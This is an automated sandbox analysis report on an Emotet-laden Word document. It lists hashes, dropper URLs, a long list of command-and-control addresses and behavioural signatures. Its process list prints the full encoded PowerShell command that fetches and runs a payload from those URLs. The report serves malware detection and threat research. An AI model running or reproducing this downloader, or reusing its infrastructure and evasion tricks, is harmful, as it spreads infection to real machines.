Analysis
- max time kernel
141s - max time network
139s - platform
windows10_x64 - resource
win10v200722 - submitted
13/08/2020, 21:18
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e3_ab444b6b4e01751a504bcbe5bfafccb6c73c5a8f0a83102badfdfa7f0d061be7_2020-08-13__211625._doc.doc
Resource
win7
General
- Target emotet_e3_ab444b6b4e01751a504bcbe5bfafccb6c73c5a8f0a83102badfdfa7f0d061be7_2020-08-13__211625._doc.doc
- Size 228KB
- Sample200813-6xtvgdhm4n
- SHA256 ab444b6b4e01751a504bcbe5bfafccb6c73c5a8f0a83102badfdfa7f0d061be7
- MD5 41eaa82dd290795c44fcf88f0f81fc37
- SHA1 5a82b24aabdfa7c6bdf7604dac93ce57e2c73310
- SHA512 449e9f1467d35cfc9254753b8d11dc11fd0a93ebe1bcb6bc5fefdd7eb9a19cde5fb76cfd90cb14a2ab423cb173dd54789e5898c344c4f5cd3953e040dc419ea3
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
-
exe.dropper
https://bisisahabatpetani.com/wp-admin/XwhDFsQyx/
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exe.dropper
https://coolcomputers.info/git/05Prdao1p74/
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exe.dropper
http://simulations.org/rw_common/ZPdjx/
-
exe.dropper
http://subwaynut.com/scgi-bin/PPBMmwRY/
-
exe.dropper
https://fitsaude.com.br/image/y5ejrhg539799/
Extracted
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emotet
-
66.61.94.36:80
-
159.203.232.29:8080
-
185.86.148.68:443
-
74.208.173.91:8080
-
37.70.131.107:80
-
212.156.133.218:80
-
81.17.93.134:80
-
203.153.216.182:7080
-
115.79.195.246:80
-
115.165.3.213:80
-
216.75.37.196:8080
-
81.214.253.80:443
-
192.241.220.183:8080
-
172.96.190.154:8080
-
195.201.56.70:8080
-
105.213.67.88:80
-
50.116.78.109:8080
-
188.166.25.84:8080
-
187.64.128.197:80
-
198.57.203.63:8080
-
179.5.118.12:80
-
201.213.177.139:80
-
153.220.182.49:80
-
185.208.226.142:8080
-
192.163.221.191:8080
-
37.46.129.215:8080
-
75.127.14.170:8080
-
41.185.29.128:8080
-
91.83.93.103:443
-
51.38.201.19:7080
-
78.188.170.128:80
-
113.160.180.109:80
-
217.199.160.224:8080
-
190.190.15.20:80
-
188.251.213.180:443
-
203.153.216.178:7080
-
182.187.139.200:8080
-
177.37.81.212:443
-
181.164.110.7:80
-
172.105.78.244:8080
-
212.112.113.235:80
-
78.189.60.109:443
-
176.9.93.82:7080
-
201.235.10.215:80
-
188.0.135.237:80
-
92.24.51.238:80
-
143.95.101.72:8080
-
163.172.107.70:8080
-
87.106.231.60:8080
-
197.83.232.19:80
-
31.146.61.34:80
-
5.79.70.250:8080
-
182.176.95.147:80
-
190.212.140.6:80
-
177.144.130.105:443
-
46.32.229.152:8080
-
185.142.236.163:443
-
115.78.11.155:80
-
87.252.100.28:80
-
202.5.47.71:80
-
181.113.229.139:443
-
77.74.78.80:443
-
181.134.9.162:80
-
105.209.235.113:8080
-
157.7.164.178:8081
-
178.33.167.120:8080
-
46.105.131.68:8080
-
139.99.157.213:8080
-
177.32.8.85:80
-
139.59.12.63:8080
-
192.210.217.94:8080
-
75.139.38.211:80
-
113.161.148.81:80
-
107.161.30.122:8080
-
190.164.75.175:80
-
181.167.35.84:80
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97.104.107.190:80
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3912 2064 powersheLL.exe 68 - Emotet Payload 4 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/3600-15-0x0000000002380000-0x000000000238C000-memory.dmp emotet behavioral2/memory/3600-15-0x0000000002380000-0x000000000238C000-memory.dmp emotet behavioral2/memory/640-18-0x0000000003E60000-0x0000000003E6C000-memory.dmp emotet behavioral2/memory/640-18-0x0000000003E60000-0x0000000003E6C000-memory.dmp emotet - Blacklisted process makes network request 1 IoCs
flow pid Process 23 3912 powersheLL.exe - Executes dropped EXE 2 IoCs
pid Process 3600 Mlvx.exe 640 Microsoft.Management.Infrastructure.Native.Unmanaged.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\BitLockerCsp\Microsoft.Management.Infrastructure.Native.Unmanaged.exe Mlvx.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 648 WINWORD.EXE 648 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 3912 powersheLL.exe 3912 powersheLL.exe 3912 powersheLL.exe 640 Microsoft.Management.Infrastructure.Native.Unmanaged.exe 640 Microsoft.Management.Infrastructure.Native.Unmanaged.exe 640 Microsoft.Management.Infrastructure.Native.Unmanaged.exe 640 Microsoft.Management.Infrastructure.Native.Unmanaged.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3912 powersheLL.exe - Suspicious use of SetWindowsHookEx 15 IoCs
pid Process 648 WINWORD.EXE 648 WINWORD.EXE 648 WINWORD.EXE 648 WINWORD.EXE 648 WINWORD.EXE 648 WINWORD.EXE 648 WINWORD.EXE 648 WINWORD.EXE 648 WINWORD.EXE 648 WINWORD.EXE 648 WINWORD.EXE 3600 Mlvx.exe 3600 Mlvx.exe 640 Microsoft.Management.Infrastructure.Native.Unmanaged.exe 640 Microsoft.Management.Infrastructure.Native.Unmanaged.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 3912 wrote to memory of 3600 3912 powersheLL.exe 76 PID 3912 wrote to memory of 3600 3912 powersheLL.exe 76 PID 3912 wrote to memory of 3600 3912 powersheLL.exe 76 PID 3600 wrote to memory of 640 3600 Mlvx.exe 77 PID 3600 wrote to memory of 640 3600 Mlvx.exe 77 PID 3600 wrote to memory of 640 3600 Mlvx.exe 77
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_ab444b6b4e01751a504bcbe5bfafccb6c73c5a8f0a83102badfdfa7f0d061be7_2020-08-13__211625._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:648
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C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABKAEIAUABHAEgAcQBlAGEAPQAnAEsARQBJAEUASwByAHkAYgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYABjAFUAcgBJAFQAeQBwAGAAUgBgAG8AdABPAGAAQwBvAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABKAEQATABGAEUAZABuAGsAIAA9ACAAJwBNAGwAdgB4ACcAOwAkAFkAUABQAFUAUABpAGoAcQA9ACcAVgBXAFQARwBPAHAAYwB6ACcAOwAkAEkASABCAFUAQgBlAHAAawA9ACQAZQBuAHYAOgB0AGUAbQBwACsAJwBcACcAKwAkAEoARABMAEYARQBkAG4AawArACcALgBlAHgAZQAnADsAJABQAEEAVgBFAEcAcgBlAHMAPQAnAEgAQwBSAEIAUAB4AG4AYwAnADsAJABOAFAAVQBCAEcAZQBrAHQAPQAuACgAJwBuACcAKwAnAGUAdwAtAG8AJwArACcAYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4AZQBUAC4AVwBlAEIAYwBsAEkAZQBOAHQAOwAkAFAAWQBBAE8AQQBwAGQAcwA9ACcAaAB0AHQAcABzADoALwAvAGIAaQBzAGkAcwBhAGgAYQBiAGEAdABwAGUAdABhAG4AaQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AWAB3AGgARABGAHMAUQB5AHgALwAqAGgAdAB0AHAAcwA6AC8ALwBjAG8AbwBsAGMAbwBtAHAAdQB0AGUAcgBzAC4AaQBuAGYAbwAvAGcAaQB0AC8AMAA1AFAAcgBkAGEAbwAxAHAANwA0AC8AKgBoAHQAdABwADoALwAvAHMAaQBtAHUAbABhAHQAaQBvAG4AcwAuAG8AcgBnAC8AcgB3AF8AYwBvAG0AbQBvAG4ALwBaAFAAZABqAHgALwAqAGgAdAB0AHAAOgAvAC8AcwB1AGIAdwBhAHkAbgB1AHQALgBjAG8AbQAvAHMAYwBnAGkALQBiAGkAbgAvAFAAUABCAE0AbQB3AFIAWQAvACoAaAB0AHQAcABzADoALwAvAGYAaQB0AHMAYQB1AGQAZQAuAGMAbwBtAC4AYgByAC8AaQBtAGEAZwBlAC8AeQA1AGUAagByAGgAZwA1ADMAOQA3ADkAOQAvACcALgAiAHMAUABgAGwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUQBOAEIAVgBSAHMAbQBpAD0AJwBLAEQAQwBJAFoAbQBiAGYAJwA7AGYAbwByAGUAYQBjAGgAKAAkAE8AVQBCAEoARwBwAHEAcAAgAGkAbgAgACQAUABZAEEATwBBAHAAZABzACkAewB0AHIAeQB7ACQATgBQAFUAQgBHAGUAawB0AC4AIgBkAG8AVwBgAE4ATABvAEEAZABgAEYASQBgAEwAZQAiACgAJABPAFUAQgBKAEcAcABxAHAALAAgACQASQBIAEIAVQBCAGUAcABrACkAOwAkAEEAVABKAFkAUAB3AG4AYgA9ACcASABVAEcAVwBUAG0AcABsACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQASQBIAEIAVQBCAGUAcABrACkALgAiAGwARQBgAE4AZwB0AGgAIgAgAC0AZwBlACAAMgA5ADQANAA5ACkAIAB7AC4AKAAnAEkAJwArACcAbgB2AG8AawBlAC0ASQB0ACcAKwAnAGUAbQAnACkAKAAkAEkASABCAFUAQgBlAHAAawApADsAJABUAEoAQwBTAFkAZQB0AHAAPQAnAFkARABFAFoASgBhAG4AaQAnADsAYgByAGUAYQBrADsAJABTAFgARgBJAFAAZQBlAG8APQAnAE8ASwBRAFQATgB6AHQAbQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABYAEIATABVAFcAaAB2AGQAPQAnAEMAVQBYAFYARgBkAHgAdAAnAA==1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3912 -
C:\Users\Admin\AppData\Local\Temp\Mlvx.exe"C:\Users\Admin\AppData\Local\Temp\Mlvx.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3600 -
C:\Windows\SysWOW64\BitLockerCsp\Microsoft.Management.Infrastructure.Native.Unmanaged.exe"C:\Windows\SysWOW64\BitLockerCsp\Microsoft.Management.Infrastructure.Native.Unmanaged.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:640
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